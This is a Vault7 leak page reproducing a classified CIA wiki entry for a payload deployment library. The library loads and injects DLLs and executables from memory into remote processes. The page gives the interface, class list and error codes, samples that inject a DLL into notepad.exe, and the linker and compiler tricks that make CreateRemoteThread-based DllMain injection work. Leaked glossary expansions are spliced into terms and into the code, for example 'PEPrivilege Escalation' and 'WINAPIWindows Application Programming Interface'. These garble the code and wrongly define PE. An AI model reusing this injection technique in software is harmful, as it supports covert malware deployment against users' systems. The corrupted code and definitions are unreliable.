Vault7: CIA Hacking Tools Revealed
Navigation: » Latest version
Payload Deployment Library
SECRET//NOFORN
Stash Repository: Payload Deployment Library
Interface Description:
The interface for the Payload Deployment Library specifies an execute function be written. The prototype is as follows:
virtual PayloadErr execute(LPBYTE payload, DWORD payloadSize, LPVOID params, DWORD paramsSize, LPHANDLE returnHandle);
payload: pointer to an array of BYTEs containing the module to be deployed
payloadSize: size, in bytes, of the payload
params: pointer to struct containing the module's arguments
paramsSize: size, in bytes, of the params struct
returnHandle: pointer to HANDLE of the loaded module. (not always used)
Library Conventions: Describe any and all conventions submissions should adhere to for this library. Applying a naming convention can help with the organization of the library.
Payload Deployment Member List:
Load Library From Disk - Class Name: LoadLibraryFromDisk
Load EXE From Disk - Class Name:LoadExeFromDisk
Load Library From Memory - Class Name: LoadLibraryFromMemory
Load Fire and Forget Library From Memory - Class Name: LoadFireAndForgetFromMemory
Load ICEv3 Library From Memory - Class Name: LoadICEFromMemory
Inject Library From Memory into a remote process - Class Name: InjectLibraryFromMemory
Inject Fire and Forget Library From Memory into a remote process - Class Name: InjectFireAndForgetFromMemory
Error Code Descriptions: List error codes with descriptions. Use either a bulleted list or the code block macro. Remember, error codes must be compatible with the SUCCEEDED() and FAILED() macros.
-
Error Codes List
enum PayloadErr : int { ePD_ERROR_SUCCESS = 0, // generic success ePD_ERROR_GENERIC = -1, // generic failure // Error return codes: File errors ePD_ERROR_FILE = -10, // there was an issue opening the desired file ePD_ERROR_FILE_IO = -11, // there was an issue reading or writing to a file // Error return codes: Bad payload ePD_ERROR_INVALID_PE = -20, // the payload is not a valid PEPrivilege Escalation file ePD_ERROR_WRONG_PE_ARCHITECTURE = -21, // the payload does not match the architecture of the executing process ePD_ERROR_MOD_NOT_FOUND = -22, // a required dependency module could not be found // Error return codes: Memory errors ePD_ERROR_MEMORY = -30, ePD_ERROR_MEMORY_REMOTE = -31, // Error return codes: Payload errors ePD_ERROR_INIT_FAILED = -41, // there was an error calling the PE's entry point ePD_ERROR_UNLOAD_FAILED = -42, // there was an error unloading the PE ePD_ERROR_PROC_NOT_FOUND = -43, // the address of the exported function could not be found (DLLDynamic Link Library only) ePD_ERROR_EXPORTED_FUNCTION = -44, // the exported function returned a failure result ePD_ERROR_EXPORTED_FUNCTION_NON_CRITICAL = -45, // the exported function return a non-critical failure result ePD_ERROR_EXPORTED_FUNCTION_CRITICAL = -46, // the exported function return a critical failure result // Error return codes: Parameter errors ePD_ERROR_INVALID_PARAMS = -50, // the module received invalid params ePD_ERROR_VERSION_NOT_SUPPORTED = -51, // the version of module is not supported ePD_ERROR_WRONG_BEHAVIOR = -52, // the requested behavior is not supported // Error return codes: Remote Injection errors ePD_ERROR_REMOTE_PROCESS_NOT_FOUND = -60, // the target process could not be found (invalid PIDProcess ID) ePD_ERROR_REMOTE_PROCESS_ACCESS_DENIED = -61, // the target process could not be opened with the required permissions ePD_ERROR_REMOTE_THREAD_CREATION_FAILED = -62, // could not create a remote thread ePD_ERROR_REMOTE_PROCESS_WRONG_PE_ARCHITECTURE = -63 };
Code Sample Using The Library Interface:
-
Inject improvedDummyDll into notepad.exe
// Injects improvedDummyDll into notepad.exe IPayload::PayloadErr retVal; HANDLE hProc = NULL; retVal = InjectLibraryFromMemory::OpenProcessByName(&hProc, L"notepad.exe"); if (SUCCEEDED(retVal) && hProc != NULL) { InjectLibraryFromMemory myInject; retVal = myInject.execute(improvedDummyDll, sizeof(improvedDummyDll), hProc, sizeof(HANDLE), NULL); CloseHandle(hProc); } -
Inject ImprovedDummyDll into notepad.exe and call the FireAndForget v2.0 exported ordinal with a command line argument
// Injects improvedDummyDll into notepad.exe as a Fire & Forget v2.0 module with a command line argument string IPayload::PayloadErr retVal; HANDLE hProc = NULL; DWORD dwFireAndForgetThreadExitCode = 0; HANDLE hFireAndForgetThread = INVALID_HANDLE_VALUE; retVal = InjectLibraryFromMemory::OpenProcessByName(&hProc, L"notepad.exe"); if (SUCCEEDED(retVal) && hProc != NULL) { InjectFireAndForgetFromMemory myFireAndForget; // setup arguments structure PMODULE_INJECT_ARGS pInjectArgs = new MODULE_INJECT_ARGS; // fire and forget args are a substructure pInjectArgs->pRemoteArgs = new MODULE_REMOTE_ARGS; // set remote process handle in args struct pInjectArgs->hProcess = hProc; // set fire and forget version in fire and forget substruct pInjectArgs->pRemoteArgs->version = 2; // set commandline in fire and forget substruct wcscpy_s(pInjectArgs->pRemoteArgs->cmdline, L"Unit Test Command Line"); // execute will kick off the remote Fire & Forget thread, which we need to wait on to get the return code retVal = myFireAndForget.execute(improvedDummyDll, sizeof(improvedDummyDll), pInjectArgs, sizeof(MODULE_INJECT_ARGS), &hFireAndForgetThread); WaitForSingleObject(hFireAndForgetThread, INFINITE); GetExitCodeThread(hFireAndForgetThread, &dwFireAndForgetThreadExitCode); // NOTE: You don't need to CloseHandle on hProc, as the destructor for InjectFireAndForgetFromMemory closes it for you }
Notes:
InjectLibraryFromMemory and InjectFireAndForgetFromMemory: Since CreateRemoteThread can only be used to call thread functions (i.e., functions that have signatures matching that of THREAD_START_ROUTINE), a workaround was needed to call DLLMain in the remote process in order to implement processAttach() and processDetach(). The loader contains the static, extern "C" function CallDllMain , which is a thread function that accepts a pointer to the CallDllMainArgs struct. The loader fills the fields of the struct with the base address of the remote DLL, the remote address of the entrypoint (DllMain) and the reason for call, then allocates memory and copies both the struct and the function itself into the remote process before calling CreateRemoteThread with pointers to the injected function and injected arguments structure. In order for this technique to work successfully, several compile/link time tricks are used to ensure that the functions are capable of being injected without causing undesirable side effects in the remote process.
In order to calculate the size of the injected function, an empty function (CallDllMain_end) is declared immediately after the actual function, and the size of CallDllMain is calculated by subtracting CallDllMain from CallDllMain_end. To help avoid function reordering, the two functions are stored in their own code segment .text$A.
Additionally, if certain build settings are enabled, the linker may generate a jump table rather than a direct call, which means that the pointers are not to the actual functions but to the entries in the jump table. To avoid this situation, incremental linking must be turned off. Optimizations are also turned off, as are runtime checks, as runtime checks add an additional call to _RTC_CheckEsp at an absolute address to the end of the function that will crash the remote process.
The voodoo required to get these functions to work looks like this:
- // turn off incremental linking -- should force this to *not* use a jump table #pragma comment(linker, "/incremental:no") // turn off optimizations #pragma optimize( "", off ) // turn off pesky runtime checks that add an extra call to _RTC_CheckEsp to the end of our function #pragma runtime_checks( "", off) // put both functions in the same section. as long as there are only two, they should be in order #pragma code_seg( ".text$A" ) extern "C" { // no optimization static DWORD WINAPIWindows Application Programming Interface CallDllMain(PCallDllMainArgs pArgs) { return pArgs->dllMain(pArgs->dllBaseAddress, pArgs->dwReasonForCall, NULL); } static void __stdcall CallDllMain_end() { } }; #pragma code_seg() #pragma runtime_checks ("", restore) #pragma optimize ("", restore)
PSP/OS Issues: List all known issues the technique has with OSs or PSPs
List Of Tools Using This Code: List all tools utilizing the code
Stash Repository/Knowledge Base Article: Link to code in the stash repository or a knowledge base article containing the code
SECRET//NOFORN